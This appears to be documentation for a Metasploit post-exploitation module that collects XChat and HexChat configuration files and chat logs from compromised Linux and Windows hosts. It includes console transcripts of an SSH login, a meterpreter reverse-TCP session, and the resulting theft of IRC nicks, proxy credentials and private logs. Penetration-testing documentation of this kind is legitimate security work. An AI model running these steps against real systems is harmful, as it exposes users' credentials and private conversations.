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Vulnerable Application

This module enumerates the config and log files for XChat and HexChat. XChat was retired in 2015, although the site and downloads are still available in April 2020. It was forked and replaced by HexChat.

Linux xchat path:

 /home/[username]/.xchat2/
   * /home/[username]/.xchat2/servlist_.conf
   * /home/[username]/.xchat2/xchat.conf
   * /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log

Linux hexchat path:

 /home/[username]/.config/hexchat/
   * /home/[username]/.config/hexchat/servlist.conf
   * /home/[username]/.config/hexchat/hexchat.conf
   * /home/[username]/.config/hexchat/logs/FreeNode/Freenode-#aha.log

Verification Steps

Install the application(s)
Start msfconsole
Get a shell
Do: use post/multi/gather/enum_hexchat
Do: set session #
Do: run
You should get config and log files depending on your action

Actions

ALL

Download both config and chat logs. Default.

CHATS

Only download the chat logs.

CONFIGS

Only download the config files.

Options

HEXCHAT

Gather the files from HexChat. Default true.

XCHAT

Gather the files from XCHat. Default false.

Scenarios

Hexchat 2.14.3 on Fedora 31

```
[*] Processing xchat.rb for ERB directives.
resource (xchat.rb)> use auxiliary/scanner/ssh/ssh_login
resource (xchat.rb)> set username fedora
username => fedora
resource (xchat.rb)> set password fedora
password => fedora
resource (xchat.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (xchat.rb)> run
[+] 2.2.2.2:22 - Success: 'fedora:fedora' ''
[*] Command shell session 1 opened (1.1.1.1:40023 -> 2.2.2.2:22) at 2020-04-22 07:17:59 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
resource (xchat.rb)> use post/linux/gather/enum_hexchat
resource (xchat.rb)> set session -1
session => -1
resource (xchat.rb)> set verbose true
verbose => true
resource (xchat.rb)> run
[!] SESSION may not be compatible with this module.
[*] Detcted username: fedora
[+] Downloading: /home/fedora/.config/hexchat/servlist.conf
[+] Downloading: /home/fedora/.config/hexchat/hexchat.conf
[+] IRC nick: test14123251232151
[+] IRC nick1: test1251212123151
[+] IRC nick2: test123123123
[+] IRC nick3: test321321321
[+] Proxy conf: 1.1.1.1:9999 -> proxyusername/proxypass
[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/freenode.log
[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/#postgresql.log
[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/#python-unregistered.log
[*] Downloading: /home/fedora/.config/hexchat//logs/freenode/server.log
[*] Downloading: /home/fedora/.config/hexchat//logs/NETWORK/server.log
[+] servlist.conf saved as /home/h00die/.msf4/loot/20200422071815_default_2.2.2.2_hexchat.config_359863.txt
[+] hexchat.conf saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.config_347758.txt
[+] freenode.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_364082.txt
[+] #postgresql.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_991489.txt
[+] #python-unregistered.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_760685.txt
[+] server.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_022702.txt
[+] server.log saved as /home/h00die/.msf4/loot/20200422071816_default_2.2.2.2_hexchat.chatlogs_433357.txt
[*] Post module execution completed
```

Hexchat 2.14.2 and XChat 2.8.9 on Windows 10

```
[*] Processing xchat_win.rb for ERB directives.
resource (xchat_win.rb)> use exploit/multi/handler
resource (xchat_win.rb)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (xchat_win.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (xchat_win.rb)> set lport 8888
lport => 8888
resource (xchat_win.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:8888 
[*] Sending stage (180291 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:8888 -> 3.3.3.3:51475) at 2020-04-22 10:30:29 -0400

meterpreter > background
[*] Backgrounding session 1...
resource (xchat_win.rb)> use post/multi/gather/enum_hexchat
resource (xchat_win.rb)> set session -1
session => -1
resource (xchat_win.rb)> set xchat true
xchat => true
resource (xchat_win.rb)> set verbose true
verbose => true
msf5 post(multi/gather/enum_hexchat) > rexploit
[*] Reloading module...

[!] SESSION may not be compatible with this module.
[+] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\servlist_.conf
[+] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\xchat.conf
[+] IRC nick: IEUser
[+] IRC nick1: IEUser
[+] IRC nick2: IEUser_
[+] IRC nick3: IEUser__
[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-#xchat.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-ChatJunkies.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-server.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\NETWORK-server.log
[+] servlist_.conf saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.config_408737.txt
[+] xchat.conf saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.config_505296.txt
[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-#xchat.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_472281.txt
[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_133017.txt
[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-ChatJunkies.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_238039.txt
[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\ChatJunkies-server.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_482558.txt
[+] C:\Users\IEUser\AppData\Roaming\X-Chat 2\\xchatlogs\NETWORK-server.log saved as /home/h00die/.msf4/loot/20200422103218_default_3.3.3.3_xchat.chatlogs_379409.txt
[+] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\servlist.conf
[+] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\hexchat.conf
[+] IRC nick: IEUser
[+] IRC nick1: IEUser
[+] IRC nick2: IEUser_
[+] IRC nick3: IEUser__
[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\#python-unregistered.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\freenode.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\server.log
[*] Downloading: C:\Users\IEUser\AppData\Roaming\HexChat\\logs\NETWORK\server.log
[+] servlist.conf saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.config_618512.txt
[+] hexchat.conf saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.config_765571.txt
[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\#python-unregistered.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_007334.txt
[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_199140.txt
[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\freenode.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_988553.txt
[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\freenode\server.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_851506.txt
[+] C:\Users\IEUser\AppData\Roaming\HexChat\\logs\NETWORK\server.log saved as /home/h00die/.msf4/loot/20200422103220_default_3.3.3.3_hexchat.chatlogs_819165.txt
[*] Post module execution completed
```

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Vulnerable Application

Verification Steps

Actions

ALL

CHATS

CONFIGS

Options

HEXCHAT

XCHAT

Scenarios

Hexchat 2.14.3 on Fedora 31

Hexchat 2.14.2 and XChat 2.8.9 on Windows 10

Product

Resources

Company

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Vulnerable Application

Verification Steps

Actions

ALL

CHATS

CONFIGS

Options

HEXCHAT

XCHAT

Scenarios

Hexchat 2.14.3 on Fedora 31

Hexchat 2.14.2 and XChat 2.8.9 on Windows 10

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